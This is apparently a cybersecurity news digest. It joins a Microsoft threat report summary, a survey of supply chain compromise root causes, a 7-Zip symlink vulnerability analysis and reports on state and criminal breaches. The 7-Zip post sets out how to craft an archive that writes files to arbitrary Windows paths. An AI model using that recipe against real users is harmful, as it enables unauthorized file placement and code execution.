Les acteurs étatiques soutenus par la Russie, Chine, Iran et Corée du Nord continuent de cibler des secteurs sensibles, en s’intégrant de plus en plus dans les écosystèmes cybercriminels.
Le sixième rapport annuel Microsoft Digital Defense met en lumière en détail l’évolution des menaces informatiques et ce que les organisations doivent faire pour garder une longueur d’avance. Couvrant la période de juillet 2024 à juin 2025, le rapport montre que la cybercriminalité s’accélère en ampleur et en sophistication, motivée par des intérêts financiers et facilitée par l’automatisation et l’IA.
« Les données les plus récentes envoient un message clair : les organisations doivent renforcer leurs contrôles d’identité, corriger rapidement les systèmes critiques et tester régulièrement leurs plans de réponse aux incidents, » déclare Marc Holitscher, National Technology Officer chez Microsoft Suisse. « La cyberrésilience n’est plus un choix, c’est désormais une exigence fondamentale pour toutes les organisations, dans tous les secteurs. »
Microsoft traite plus de 100 000 milliards de signaux de sécurité par jour, analyse 5 milliards d’e-mails pour détecter les malwares et le phishing, bloque environ 4,5 millions de nouvelles tentatives de malware, évalue 38 millions de détections de risques liés à l’identité, et continue de renforcer sa sécurité à travers la Secure Future Initiative. L’entreprise collabore avec les secteurs public et privé pour prévenir la cybercriminalité et plaide pour des règles internationales garantissant un usage responsable d’Internet.
Les organisations peuvent agir immédiatement en mettant en œuvre une authentification multifacteur résistante au à l’hameçonnage, qui bloque plus de 99 % des attaques basées sur l’identité, même lorsque les attaquants possèdent les bons mots de passe.
filippo.io Filippo Valsorda
10.10.2025
Project compromises have common root causes we can mitigate: phishing, control handoff, and unsafe GitHub Actions triggers.
Lack of memory safety is such a predominant cause of security issues that we have a responsibility as professional software engineering to robustly mitigate it in security-sensitive use cases—by using memory safe languages.
Similarly, I have the growing impression that software supply chain compromises have a few predominant causes which we might have a responsibility as a professional open source maintainers to robustly mitigate.
To test this impression and figure out any such mitigations, I collected all 2024/2025 open source supply chain compromises I could find, and categorized their root cause. (If you find more, do email me!)
Since I am interested in mitigations we can apply as maintainers of depended-upon projects to avoid compromises, I am ignoring: intentionally malicious packages (e.g. typosquatting), issues in package managers (e.g. internal name shadowing), open source infrastructure abuse (e.g. using package registries for post-compromise exfiltration), and isolated app compromises (i.e. not software that is depended upon).
Also, I am specifically interested in how an attacker got their first unauthorized access, not in what they did with it. Annoyingly, there is usually a lot more written about the latter than the former.
2024/2025 Open Source Supply Chain Compromises
In no particular order, but kind of grouped.
XZ Utils
Long term pressure campaign on the maintainer to hand over access.
Root cause: control handoff.
Contributing factor: non-reproducible release artifacts.
Nx S1ingularity
Shell injection in GitHub Action with pull_request_target trigger and unnecessary read/write permissions4, used to extract a npm token.
Root cause: pull_request_target.
Contributing factors: read/write CI permissions, long-lived credential exfiltration, post-install scripts.
Shai-Hulud
Worm behavior by using compromised npm tokens to publish packages with malicious post-install scripts, and compromised GitHub tokens to publish malicious GitHub Actions workflows.
Root cause: long-lived credential exfiltration.
Contributing factor: post-install scripts.
npm debug/chalk/color
Maintainer phished with an “Update 2FA Now” email. Had TOTP 2FA enabled.
Root cause: phishing.
polyfill.io
Attacker purchased CDN domain name and GitHub organization.
Root cause: control handoff.
MavenGate
Expired domains and changed GitHub usernames resurrected to take control of connected packages.
Root causes: domain resurrection, username resurrection.
reviewdog and tj-actions/changed-files
Contributors deliberately granted automatic write access for GitHub Action repository5. Malicious tag re-published to compromise GitHub PAT of more popular GitHub Action6.
Root cause: control handoff.
Contributing factors: read/write CI permissions, long-lived credential exfiltration, mutable GitHub Actions tags.
Ultralytics
Shell injection in GitHub Action with pull_request_target trigger (which required read/write permissions), pivoted to publishing pipeline via GitHub Actions cache poisoning. Compromised again later using an exfiltrated PyPI token.
Root cause: pull_request_target.
Contributing factors: GitHub Actions cache poisoning, long-lived credential exfiltration.
Kong Ingress Controller
GitHub Action with pull_request_target trigger restricted to trusted users but bypassed via Dependabot impersonation7, previously patched but still available on old branch. GitHub PAT exfiltrated and used.
Root causes: pull_request_target, Dependabot impersonation.
Contributing factors: per-branch CI configuration, long-lived credential exfiltration.
Rspack
Pwn request1 against issue_comment workflow2 in other project, leading to a GitHub classic token of a maintainer with permissions to the web-infra-dev organization8 (kindly confirmed via email by the Rspack Team). Similar to previously reported and fixed vulnerability3 in the Rspack repository.
Root causes: issue_comment.
Contributing factor: long-lived credential exfiltration.
eslint-config-prettier
“Verify your account”9 npm phishing.
Root cause: phishing.
num2words
“Email verification” PyPI phishing.
Root cause: phishing.
@solana/web3.js
A “phishing attack on the credentials for publishing npm packages.”
Root cause: phishing.
rustfoundation.dev
Fake compromise remediation10 Crates.io phishing. Unclear if successful.
Root cause: phishing.
React Native ARIA & gluestack-ui
“[U]nauthorized access to publishing credentials.” Colorful and long Incident Report lacks any details on “sophisticated” entry point. Presumably an exposed npm token.
Root cause: long-lived credential exfiltration(?).
lottie-player
Unclear, but mitigation involved “remov[ing] all access and associated tokens/services accounts of the impacted developer.”
Root cause: long-lived credential exfiltration(?) or control handoff(?).
rand-user-agent
Unclear. Malicious npm versions published, affected company seems to have deleted the project. Presumably npm token compromise.
Root cause: long-lived credential exfiltration(?).
DogWifTool
GitHub token extracted from distributed binary.
Root cause: long-lived credential exfiltration.
Summary of vectors and mitigations
Phishing (5 root)
Surprising no one, the most popular confirmed initial compromise vector is phishing. It works against technical open source maintainers. It works against 2FA TOTP. It. Works. It is also very fixable.
It’s 2025 and every professional open source maintainer should be using phishing-resistant authentication (passkeys or WebAuthn 2FA) on all developer accounts, and accounts upstream of them.
Upstream accounts include email, password manager, passkey sync (e.g. Apple iCloud), web/DNS hosting, and domain registrar.
Some services, such as GitHub, require a phishable 2FA method along with phishing-resistant ones. In that case, the best option is to enable TOTP, and delete the secret or write it down somewhere safe and never ever use it—effectively disabling it. This does not work with SMS, since SIM jacking is possible even without action by the victim.
Control handoff (3+1? root)
Actually surprisingly—to me—a number of compromises are due to, effectively, giving access to the attacker.
This is a nuanced people issue. The solution is obviously “don’t do that” but that really reduces to the decades-old issue of open source maintenance sustainability. In a sense, since this analysis is aimed at professional maintainers who can afford it, control handoff is easily avoided by not doing it.
pull_request_target and issue_comment (4 root)
Kind of incredible that a specific feature has a top 3 spot, but projects get compromised by “pwn requests” all the time.
The pull_request_target workflow trigger runs privileged CI with a context full of attacker-controlled data in response to pull requests. It makes a meek attempt to be safer by not checking out the attacker’s code, instead checking out the upstream target. That’s empirically not enough, with shell injection attacks causing multiple severe compromises.
The zizmor static analyzer can help detect injection vulnerabilities, but it seems clear that pull_request_target is unsafe at any speed, and should just never be used.
Other triggers that run privileged with attacker-controlled context should be avoided for the same reason. The Rspack compromise, for example, was due to checking out attacker-controlled code on an issue_comment trigger if the PR receives a comment.
on:
issue_comment:
types: [created]
jobs:
issue_comment:
if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary')
runs-on: ubuntu-latest
steps:
What are the alternatives?
One option is to implement an external service in a language that can safely deal with untrusted inputs (i.e. not YAML’d shell), and use webhooks. That unfortunately requires long-lived credentials (see below).
GitHub itself recommends using the unprivileged pull_request trigger followed by the workflow_run trigger, but it’s unclear to me how safer that would actually be against injection attacks.
Finally, since two out of three compromises were due to shell injection, it might be safer to use a proper programming language, like JavaScript with actions/github-script, or any other language accessing the context via environment variables instead of YAML interpolation. This means not using any third-party actions, as well.
Allowlisting actors and read-only steps are not robust mitigations, see Read/write CI permissions and Dependabot impersonation below.Overall, none of the mitigations are particularly satisfactory, so the solution might be simply to eschew features that require pull_request_target and other privileged attacker-controlled triggers. (To be honest, I am not a fan of chatty bots on issues and PRs, so I never needed them.)
Long-lived credential exfiltration (2+3? root, 5 contributing)
Attackers love to steal tokens. There is no universal solution, but it’s so predominant that we can consider piecemeal solutions.
Long-lived credentials are only a root cause when they are accidentally exposed. Otherwise, they are a secondary compromise mechanism for lateral movement or persistence, after the attacker got privileged code execution. Mitigating the latter is somewhat less appealing because an attacker with code execution can find more creative ways to carry out an attack, but we can prune some low-hanging fruit.
Go removes the need for package registry tokens by simply not having accounts. (Instead, the go command fetches modules directly from VCS, with caching by the Go Modules Proxy and universality and immutability guaranteed by the Go Checksum Database.) In other ecosystems Trusted Publishing replaces long-lived private tokens with short-lived OIDC tokens, although there is no way to down-scope the capabilities of an OIDC token.
GitHub Personal Access Tokens are harder to avoid for anything that’s not supported by GitHub Actions permissions. Chainguard has a third-party Security Token Service that trades OIDC tokens for short-lived tokens, and their article has a good list of cases in which PATs end up otherwise necessary. Given the risk, it might be worth giving up on non-critical features that would require powerful tokens.
Gerrit “git cookies” (which are actually just OAuth refresh tokens for the Gerrit app) can be replaced with… well, OAuth refresh tokens but kept in memory instead of disk, using git-credential-oauth. They can also be stored a little more safely in the platform keychain by treating them as an HTTP password, although that’s not well documented.
In the long term, it would be great to see the equivalent of Device Bound Session Credentials for developer and automated workflows.
Dependabot impersonation (1 root)
Turns out you can just exfiltrate a token from a GitHub Actions runner to impersonate Dependabot with arbitrary PRs???
I guess! Fine! Just don’t allowlist Dependabot. Not sure what a deeper meta-mitigation that didn’t require knowing this factoid would have been.
Domain and username resurrection (1 root)
Multiple ecosystems (Go and Maven, for example) are vulnerable to name takeovers, whether expired domain names or changed GitHub user/org names. The new owner of the name gets to publish updates for that package.
From the point of view of the maintainer, the mitigation is just not to change GitHub names (at least without registering the old one), and to register critical domains for a long period, with expiration alerting.
Read/write CI permissions (0 root, 2 contributing)
Some CI compromises happened in contexts that could or should have been read-only. It sounds like giving GitHub Actions workflows only read permissions like contents: read should be a robust mitigation for any compromise of the code they run.
Unfortunately, and kind of incredibly, even a read-only workflow is handed a token that can write to the cross-workflow cache for any key. This cache is then used implicitly by a number of official actions, allowing cross-workflow escalation by GitHub Actions cache poisoning.
This contradicts some of GitHub’s own recommendations, and makes the existence of a setting to make GitHub Actions read-only by default more misleading than useful.
The behavior does not extend to regular pull_request triggers, which are actually read-only (otherwise anyone could poison caches with a PR). GitHub simply doesn’t seem to offer a way to opt in to it.
I can see no robust mitigation in the GitHub ecosystem. I would love to be wrong, this is maddening.
Post-install scripts (0 root, 2 contributing)
Two compromises propagated by injecting npm post-install scripts, to obtain code execution as soon as a dependency was installed.
This can be disabled with
npm config set ignore-scripts true
which is worth doing for defense in depth. However, it’s only useful if the dependency is not going to be executed in a privileged context, e.g. to run tests in Node.js.
Go, unlike most ecosystems, considers code execution during fetch or compilation to be a security vulnerability, so has this safety margin by default.
Non-reproducible release artifacts (0 root, 1 contributing)
The XZ backdoor was hidden in a release artifact that didn’t match the repository source. It would be great if that was more detectable, in the form of reproducible artifacts.
The road to a fail-closed world where systems automatically detect non-reproducing artifacts is still long, though.
Mutable GitHub Actions tags (0 root, 1 contributing)
How supply chain attacks usually work these days is that an attacker gets the ability to publish new versions for a package, publishes a malicious version, and waits for dependents to update (maybe with the help of Dependabot) or install the latest version ex novo.
Not with GitHub Actions! The recommended and most common way to refer to a GitHub Action is by its major version, which is resolved to a git tag that is expected to change arbitrarily when new versions are published. This means that an attacker can instantly compromise every dependent workflow.
This was an unforced error already in 2019, when GitHub Actions launched while Go had already shipped an immutable package system. This has been discussed many times since and most other ecosystems have improved somewhat. A roadmap item for immutable Actions has been silent since 2022. The new immutable releases feature doesn’t apply to non-release tags, and the GitHub docs still recommend changing tags for Actions.
As maintainers, we can opt in to pinning where it’s somehow still not the default. For GitHub Actions, that means using unreadable commit hashes, which can be somewhat ameliorated with tooling. For npm, it means using npm ci instead of npm install.
Per-branch CI configuration (0 root, 1 contributing)
One compromise was due to a vulnerability that was already fixed, but had persisted on an old branch. Any time we make a security improvement (including patching a vulnerable Action) on a GitHub Actions workflow, we need to remember to cherry-pick it to all branches, including stale ones.
Can’t think of a good mitigation, just yet another sharp edge of GitHub Actions you need to be aware of, I suppose.
Summary
There are a number of useful mitigations, but the ones that appear to be as clearly a professional responsibility as memory safety are
phishing-resistant authentication;
not handing over access to attackers; and
avoiding privileged attacker-controlled GitHub Actions triggers (e.g. pull_request_target).pacbypass.github.io
Oct 16, 2025
Introduction
I spend some of my evenings browsing ZDI’s Advisory Page I saw two very interesting bugs (CVE-2025-11001, CVE-2025-11002) reported by Ryota Shiga from GMO Flatt Security Inc. The description shows that it is a path traversal in 7-Zip, yet the CVSS seems quite low for a potential initial access bug.
I’d like to mention there are 2 bugs disclosed by ZDI affecting this release with the same description and reporter, most likely the other report exploits a symlink bug with UNC paths, as this is also mentioned in the diff.
This post describes a vulnerability in 7-Zip’s module responsible for converting Linux symlinks to Windows ones (as well as other types of symlinks but this blog will focus on the Linux -> Windows side).
Initial assessment
When diffing between 7-Zip 24.09 vs 25.00 We can see that there are a few bugs fixed in this release. This patchs adds a considerable rework of the symlink support in zip extraction code in CPP/7zip/UI/Common/ArchiveExtractCallback.cpp. My eye instantly darted to the patch of IsSafePath.
-bool IsSafePath(const UString &path)
+static bool IsSafePath(const UString &path, bool isWSL)
{
CLinkLevelsInfo levelsInfo;
+bool IsSafePath(const UString &path);
+bool IsSafePath(const UString &path)
+{
+void CLinkLevelsInfo::Parse(const UString &path, bool isWSL)
{
Analysis
The main extraction point starts with CArchiveExtractCallback::GetStream() which calls ReadLink which makes this bug annoying to triage because ReadLink is not involved in parsing of actual symlinks but rather seems to try to get properties such as kpidHardLink which are supported in other types of archives.
GetStream calls CArchiveExtractCallback::GetExtractStream which identifies a symlink by first checking if it’s a small file (< 4k) and then performing a full file check.
if (_curSize_Defined && _curSize > 0 && _curSize < (1 << 12))
{
if (_fi.IsLinuxSymLink())
{
is_SymLink_in_Data = true;
_is_SymLink_in_Data_Linux = true;
}
else if (_fi.IsReparse())
{
is_SymLink_in_Data = true;
_is_SymLink_in_Data_Linux = false;
}
}
After a bunch of additional processing we hop into CArchiveExtractCallback::CloseReparseAndFile which is where the fun starts. The method attempts to parse the link and get an idea on where it is trying to point.
// Definition
bool CLinkInfo::Parse(const Byte *data, size_t dataSize, bool isLinuxData);
/ some code /
bool repraseMode = false;
bool needSetReparse = false;
CLinkInfo linkInfo;
if (_bufPtrSeqOutStream)
{
repraseMode = true;
reparseSize = _bufPtrSeqOutStream_Spec->GetPos();
if (_curSize_Defined && reparseSize == _outMemBuf.Size())
{
// _is_SymLink_in_Data_Linux == true
needSetReparse = linkInfo.Parse(_outMemBuf, reparseSize, _is_SymLink_in_Data_Linux);
if (!needSetReparse)
res = SendMessageError_with_LastError("Incorrect reparse stream", us2fs(_item.Path));
}
}
The parser sets 2 crucial attributes
Link path (destination path of the symlink)
isRelative (states if the symlink is relative)
The First issue
What happens when a Linux symlink has a Windows-style C:\ path?
The link path is set to the full C:\ path, yet it’s labeled relative because the parser follows the Linux-style check for absolute paths in the parser.
This will come in handy later.
#ifdef SUPPORT_LINKS
if (repraseMode)
{
_curSize = reparseSize;
_curSize_Defined = true;
#ifdef SUPPORT_LINKS
if (needSetReparse)
{
if (!DeleteFileAlways(_diskFilePath))
{
RINOK(SendMessageError_with_LastError("can't delete file", _diskFilePath))
}
{
bool linkWasSet = false;
RINOK(SetFromLinkPath(_diskFilePath, linkInfo, linkWasSet))
if (linkWasSet)
_isSymLinkCreated = linkInfo.IsSymLink();
else
_needSetAttrib = false;
}
}
#endif}
#endif
SetFromLinkPath is the function which is responsible for creating a symlink with the specified path, however there was a guard rail in place stopping us from creating links to absolute paths.
if (linkInfo.isRelative)
relatPath = GetDirPrefixOf(_item.Path);
relatPath += linkInfo.linkPath;
if (!IsSafePath(relatPath))
{
return SendMessageError2(
0, // errorCode
"Dangerous link path was ignored",
us2fs(_item.Path),
us2fs(linkInfo.linkPath)); // us2fs(relatPath)
}
7-Zip crafts a relative destination path for the link to point to under the newly extracted zip file. Then it is verified with IsSafePath. In case of a relative link it adds the directory the symlink is in within the zip to the path being checked.
The second issue
In our case isRelative == true because the link was evaluated previously as relative, local path of the symlink inside of the directory gets prepended to the path, allowing us to bypass this check when the symlink is anywhere but the root directory of the zip file.
the check becomes isSafePath("some/directory/in/zip" + "C:\some\other\path") evaluating as true
The third issue
Later on there is a check which is supposed to check the actual link path for validity prior to creating a symlink, however previous to checking it, it checks if a given “item” (our symlink) is a directory, which it is not - effectively bypassing the check.
if (!_ntOptions.SymLinks_AllowDangerous.Val)
{
if (_item.IsDir) // NOPE
#endif
if (linkInfo.isRelative)
{
CLinkLevelsInfo levelsInfo;
levelsInfo.Parse(linkInfo.linkPath);
if (levelsInfo.FinalLevel < 1 || levelsInfo.IsAbsolute)
{
return SendMessageError2(
0, // errorCode
"Dangerous symbolic link path was ignored",
us2fs(_item.Path),
us2fs(linkInfo.linkPath));
}
}}
After all of those checks, a symlink is created with
// existPath -> C:\some\other\path (symlink destination)
// data -> path for symlink to be created
// Initializes reparse data for symlink creation
if (!FillLinkData(data, fs2us(existPath), !linkInfo.isJunction, linkInfo.isWSL))
return SendMessageError("Cannot fill link data", us2fs(_item.Path));
/// ...
// creates symlink
if (!NFile::NIO::SetReparseData(fullProcessedPath, _item.IsDir, data, (DWORD)data.Size()))
{
RINOK(SendMessageError_with_LastError(kCantCreateSymLink, fullProcessedPath))
return S_OK;
}
Exploitation
Exploiting this bug is very simple, if we assume that the symlink gets extracted first we can craft a directory structure as below.
data/link -> symlink to C:\Users\YOURUSERNAME\Desktop (or any other location of your choice) data/link -> Directory data/link/calc.exe -> The file you want to write to the target directory
In this case the link is unpacked first, after which calc.exe gets unpacked into the symlink which 7-Zip follows and writes the binary to a directory of your choice
You can find an example exploit on my GitHub https://github.com/pacbypass/CVE-2025-11001
Basic takeaways
Fixed version is v25.00
Introduced in v21.02
This vulnerability can only be exploited from the context of an elevated user / service account or a machine with developer mode enabled.
This vulnerability can only be exploited on Windows
Thank you
Thank you for reading as well as a huge thank you to Ryota Shiga for discovering this vulnerability!
thediplomat.com
By Raphael Rashid
October 07, 2025
White hat hackers exposed a systematic breach of South Korea’s digital backbone, but Seoul remains silent on the crisis.
“It was by accident,” Saber told The Diplomat when asked how the white hat hacker and their partner cyb0rg discovered what appears to be one of the most comprehensive known penetrations of the South Korean government’s digital infrastructure in recent memory.
The two independent security researchers, only identified by their pseudonyms, claim to have compromised a workstation they attributed to Kimsuky, North Korea’s state-sponsored cyber espionage group. They published their findings in August through the hacker magazine Phrack at the annual DEF CON hacker conference in Las Vegas.
Their 8.9GB data dump triggered intense debate about who was really behind the systematic breach of South Korea’s most sensitive systems, and how it could ever have happened.
What the Hackers Found
The leaked data shows deep, sustained access to South Korea’s government backbone. At the center is the Onnara system, the government’s operational platform that handles document, inter-ministry communications, and knowledge management across central and local agencies.
Technical evidence shows the operator maintained active access to Onnara with custom automation tools and session management capabilities. The dump also revealed compromised email credentials for multiple accounts at the Defense Counterintelligence Command, with phishing attacks continuing until just days before publication.
The breach extended across multiple government institutions. The data includes complete source code from the Ministry of Foreign Affairs’ email platform, alongside evidence of targeting the Supreme Prosecutor’s Office and compromising the Ministry of Unification through brute-force attacks against the ministry’s domain. The dump also contains thousands of GPKI digital certificates – the cryptographic keys securing official communications – along with cracked passwords that protected them.
Telecommunications were also hit. The dump shows access to LG Uplus and credential collections indicating penetration of KT’s infrastructure. These firms are two of South Korea’s three major telecom operators.
Overall, the operator maintained extensive phishing campaigns, malware, and vast credential databases spanning multiple sectors.
The Attribution Puzzle
Based on technical analysis, there is broad consensus that the operations were conducted from China. Browser histories show the operator repeatedly used Google Translate to convert Korean text into simplified Chinese and followed work schedules matching Chinese holidays. Researchers from Korea University’s Graduate School of Information Security found Chinese-language documentation across the operator’s systems, notes written in Chinese characters, and browsing patterns focused on Chinese security websites. Spur, which specializes in proxy infrastructure analysis, traced much of the activity to WgetCloud, a Chinese proxy service predominantly used by China-based users.
Michael “Barni” Barnhart from DTEX, who has extensively tracked North Korean operations, told The Diplomat that “the infrastructure and malware used in these operations do not align with known APT43 tradecraft,” referring to the industry designation for North Korea’s Kimsuky. “The technical signatures, deployment methods, and operational patterns diverge significantly from previously observed APT43 campaigns,” he added. His assessment pointed to linguistic elements in malware communications suggesting “a lower-tier PRC-aligned actor.”
S2W, a South Korean cybersecurity firm, assessed that the actor was “unlikely to be directly associated with the North Korea-linked threat group Kimsuky,” citing inconsistent operational patterns and different toolsets from known Kimsuky operations.
But experts remain sharply divided on who was actually controlling these China-based operations. Some believe Chinese actors were working independently for Chinese intelligence interests. Others point to potential China-North Korea collaboration, given the documented precedent of North Korean operations from Chinese territory. Proponents of this view include Saber, who told The Diplomat that they believe the hacked hacker “is a Chinese national working from China and for both Chinese and North Korean government interests.”
A third theory suggests North Korea outsourced operations to Chinese contractors. The workstation involved was configured for the Korean time zone and its targets aligned with Kimsuky’s traditional focus on South Korean government institutions, potentially suggesting North Korean direction despite Chinese execution.
Barnhart noted that APT43 “is not assessed to be in a position of intelligence scarcity that would necessitate outsourcing to non-DPRK entities,” though such arrangements might “more plausibly align with Russian interests.”
The fourth possibility involves sophisticated Chinese false flag operations designed to implicate North Korea while pursuing separate intelligence objectives.
Seoul’s Fragmented Response
South Korea’s response has focused on damage control rather than accountability, likely reflecting both the scale and sensitivity of the hack, especially given the China connection.
Presidential spokesperson Kang Yu-jung claimed “no accurate information” when questioned about the breaches, deflecting to the Ministry of National Defense (MND). The MND has yet to comment publicly on the incident. When The Diplomat approached the Korea Internet & Security Agency, the agency deflected to the Ministry of Science and ICT (MSIT).
When approached directly, MSIT issued a brief statement: “MSIT is responsible for cyber threat response in the private information and communications sector, so we ask for your understanding that it is difficult to answer your questions.”
The Ministry of Unification acknowledged the incident, stating it had been “aware of security vulnerabilities in advance through cooperation with related agencies and completed measures.” The ministry confirmed implementing “security education for all staff” and strengthening “operational system security measures” following the breach.
Professor Kim Seung-joo from Korea University has been a vocal critic of the government, highlighting the absence of a cybersecurity “control tower.” At a recent parliamentary hearing into the KT and LG Uplus breaches – which mirrored a separate breach of SK Telecom, the country’s largest telecoms company – Kim said, “Our country’s government needs to think about how our intelligence capabilities are not even as good as two foreign hackers.”
When asked whether the breach constituted a national security crisis beyond mere data theft, he replied, “Yes, I see it that way.”
Seoul’s muted response could reflect diplomatic sensitivities around potential Chinese involvement. President Lee Jae-myung’s “pragmatic” diplomacy has sought improved relations with Beijing, with bilateral summit talks under consideration when President Xi Jinping visits for the upcoming APEC leaders’ meeting at the end of October. Direct attribution to China could complicate these efforts.
Beyond the diplomatic angle, confirmation of the link to China could potentially inflame anti-China sentiment and conspiracy theories, which have manifested in recent far-right rallies. The government is keen to diffuse these narratives.
A Systematic Campaign
The government’s lack of response becomes more concerning when viewed alongside evidence of widespread penetration across South Korea’s critical infrastructure.
According to data obtained by lawmakers, there were over 9,000 cyber intrusion attempts against military networks in the first half of 2025 alone, up 36 percent from 2023.
The Ministry of Health and Welfare and its agencies also faced over half a million hacking attempts by August 2025, up 151 percent from 2022. The ministry has seen a staggering 4,813 percent increase in targeting compared to 2022.
Yet despite planned increases in overall cybersecurity spending for 2026, critics argue that the government’s record 35.3 trillion won R&D budget plan lacks dedicated cybersecurity categories, with security funding either embedded within other sectors or missing entirely.
The fragility of critical government infrastructure was demonstrated in September when a battery fire at the National Information Resources Service in Daejeon shut down 647 government systems – nearly one-third of all national information systems. The National Intelligence Service raised the cyber threat level as a result, citing fears hackers could exploit potential security gaps during recovery work ahead of the APEC leaders meeting.
These vulnerabilities may represent only the visible portion of a far more serious compromise. Evidence in the Phrack data dump seen by The Diplomat suggests the penetration likely extended to highly sensitive materials related to North Korea and intelligence gathering operations. Given that the obtained data pertains to only one workstation, the discovery potentially reveals a much wider breach, raising further questions about attribution, potential false flag operations, and the purpose of gaining such information.
When specifically questioned about access to such materials, the Ministry of Unification provided vague responses, stating it was “currently investigating with related agencies” without elaborating which ones or the scope of the potential compromise.
As investigations continue, the question of attribution remains complex, but the scale of compromise across both public and private sectors is becoming clear, representing a strategic failure with implications for national security and public confidence in critical infrastructure.
“Hopefully researchers will take a closer look at the dumps and better understand how these APTs harass citizens,” Saber said. “The world would be a better place without them.”
| Tom's Hardware
By Jowi Morales published October 11, 2025
The Crimson Collective hacking group claims to have breached Nintendo's security and stolen files from the gaming company.
A high-profile hacking group called Crimson Collective claimed that it had successfully hacked Nintendo, which is notorious for being litigious and overprotective of its intellectual property. Cybersecurity intelligence firm Hackmanac shared a screenshot on X that allegedly showed proof of the attack, with folders that seemingly stored Nintendo data, including production assets, developer files, and backups. However, the Japanese gaming giant is yet to make a statement about this attack, so we’re unsure if this is real or just a made-up screenshot.
Crimson Collective is the group behind the recent attack on Red Hat, during which it gained unauthorized access to the company’s GitHub repositories and stole about 570GB of data. The group then attempted to extort the company but was simply dismissed. Red Hat eventually confirmed the breach, opting to work with the authorities to pursue the attackers and collaborating with its affected clients to rectify the issue.
If this attack on Nintendo is legitimate and perpetrated by the same party, then it’s likely they are attempting the same tactic of contacting the gaming giant through official channels and asking for payment to delete the stolen data, or else they will leak it.
This isn’t the first time that hackers have attacked a gaming company. Rockstar was previously targeted by an attack in 2023, and some of the source code for Grand Theft Auto VI was leaked online. In the same year, Insomniac Games, the studio behind several Spider-Man titles, was hit by a ransomware attack, and files related to games and employees were made available for download on the internet. CD Projekt Red was also a victim in 2021, after the source codes for Cyberpunk 2077, The Witcher 3, and several other titles, along with several different files, were stolen and threatened to be released publicly if the company did not pay.
Despite all the noise, Nintendo is known for keeping its secrets. Unless customer or personal data has been targeted or leaked, where it’s required by law to notify the public of an attack, it’s unlikely that the company will disclose any details of this breach. So, without confirmation from the makers of the Switch 2, we can only guess if Crimson Collective’s exploit is true or not.
Leakers claim Pokémon Wind and Waves will be procedurally generated games that expand endlessly, with a focus on survival elements and exploration.
Pokémon fans may want to tread carefully right now, and not just because Pokémon Legends: Z-A has leaked days ahead of release. It seems that Game Freak may have suffered a much bigger leak than a single game, based on material that is currently circulating on the internet. The content, which purportedly shares a timeline for the next handful of Pokémon games, reveals what could be coming next for the 10th generation of mainline Pokémon games. Is any of it credible, though? There are reasons to believe the leaks are legit, and reasons to be skeptical.
We know that Game Freak did in fact suffer a major breach of information back in 2024 for which Nintendo filed a subpoena earlier this year, in the hopes of catching whoever was behind the leak. The leak, which fans refer to as "teraleak," contained a shocking amount of information not just about immediate games like Pokémon Legends: Z-A, but also a trove of materials that were never meant for public consumption. These included concept art and development documentation for new and old Pokémon games alike. At the time, the leaker suggested that they did not share everything they acquired on Game Freak, like the source code for Pokémon Legends: Z-A. This would imply that more information could potentially leak in the future.
Fast-forward to now, and leak accounts on social media are once again disseminating a bewildering amount of Pokémon content that supposedly originates from the same source. Moreover, these are leak accounts that have a proven track record with Pokémon leaks in the past, like when Pokémon Legends: Z-A's Mega Evolutions were posted on the internet months ahead of schedule. Whether the material actually comes from the same leaker is unclear, especially if the people involved might be in the middle of, or about to be in, a legal battle with Nintendo. Nintendo did not immediately respond to a request for comment.
Another reason the leak seems credible is the volume and quality of the materials floating around. The leaks include dozens of pages of apparent proposal documents for Pokémon Sword and Shield, concept art, and beta footage of Pokémon Legends: Z-A. Some of this material is the sort of thing generative AI could ostensibly create, given that Pokémon games have a specific art style that could be emulated. But things like hand-drawn maps or unpolished gameplay footage seem significantly harder to pull off, given their imperfect nature.
The material is also granular in a way that does not look curated. It's easy to believe someone might be motivated to trick people into believing they've got the inside track on the next mainline Pokémon game. It's not quite as probable that someone would spend time putting together a collection of boring graphs and Excel sheets. Not impossible, but unlikely.
With all of this said, what are leakers actually saying about the next mainline Pokémon games? According to leaked documents, the concept for the next big Pokémon games are Pokémon Wind and Waves, and they're aimed for release in 2026. The set of games will reportedly feature procedurally generated islands that are loosely based on Indonesia and southeast Asia. Unlike most major Pokémon games, Wind and Waves will supposedly begin in a big city rather than a small town. The games are said to have more of a survival bent than previous titles, including the ability to explore jungle and underwater regions. Special focus will be placed on weather elements, which will also be the theme behind the upcoming legendaries. There will be a new type of creature called "seed" Pokémon, but specifics regarding their function are currently being debated. The leaks even claim to outline what fans can expect in terms of rivals and enemy organizations. Get this: The baddie this time is supposedly going to be involved with land development, which runs counter to the untamed environments that Wind and Waves will supposedly allow players to explore.
While some of these ideas border on fantasy — can Game Freak truly pull off a game that could generate new areas infinitely when Scarlet and Violet barely handled open-world environments? — some of the details make sense on paper. It sounds believable that the newest Pokémon games will see Game Freak exploring whatever was trendy years ago — in this case, survival games, open-world environments, and procedural generation. It's also worth noting that Sword and Shield were partially limited by the power of the original Switch. Any future games will not be cross-platform, which would ostensibly free up Game Freak to pursue more technically demanding gameplay concepts.
The other huge asterisk worth considering here is, even if all of what's floating around is true, game development scarcely goes as planned. Five years is a long time from now. Ideas could change down the line or be scrapped entirely. To wit: The beta footage of Pokémon Legends: Z-A shows purported gameplay mechanics that almost certainly aren't in the final game, like third-person shooting mechanics and parkour. Both of these mechanics sound like they pertain to entirely different games than the one Pokémon Legends: Z-A turned out to be, according to previews and its pre-release marketing.
Beyond the mainline games, leaks assert that they've got the entirety of The Pokémon Company's next five years mapped out. For example, the next few years will include a tantalizing game that will include multiple regions from previous games, which the player will be able to explore seamlessly.
The thing is, leaks don't always pan out. Earlier this year, the rumor going around was that the 10th generation of Pokémon games were supposed to be set in Greece. Now those same sources are saying something else entirely. What's different this time around is that there's way more circumstantial evidence that makes the claims sound plausible. And the details are weirdly specific, like footage of water wave simulations and unfinished terrain.
But until Game Freak announces it? Take anything you see regarding Pokémon with a grain of salt.
bleepingcomputer.com
By Bill Toulas
October 15, 2025
U.S. cybersecurity company F5 disclosed that nation-state hackers breached its systems and stole undisclosed BIG-IP security vulnerabilities and source code.
The company states that it first became aware of the breach on August 9, 2025, with its investigations revealing that the attackers had gained long-term access to its system, including the company's BIG-IP product development environment and engineering knowledge management platform.
F5 is a Fortune 500 tech giant specializing in cybersecurity, cloud management, and application delivery networking (ADN) applications. The company has 23,000 customers in 170 countries, and 48 of the Fortune 50 entities use its products.
BIG-IP is the firm's flagship product used for application delivery and traffic management by many large enterprises worldwide.
No supply-chain risk
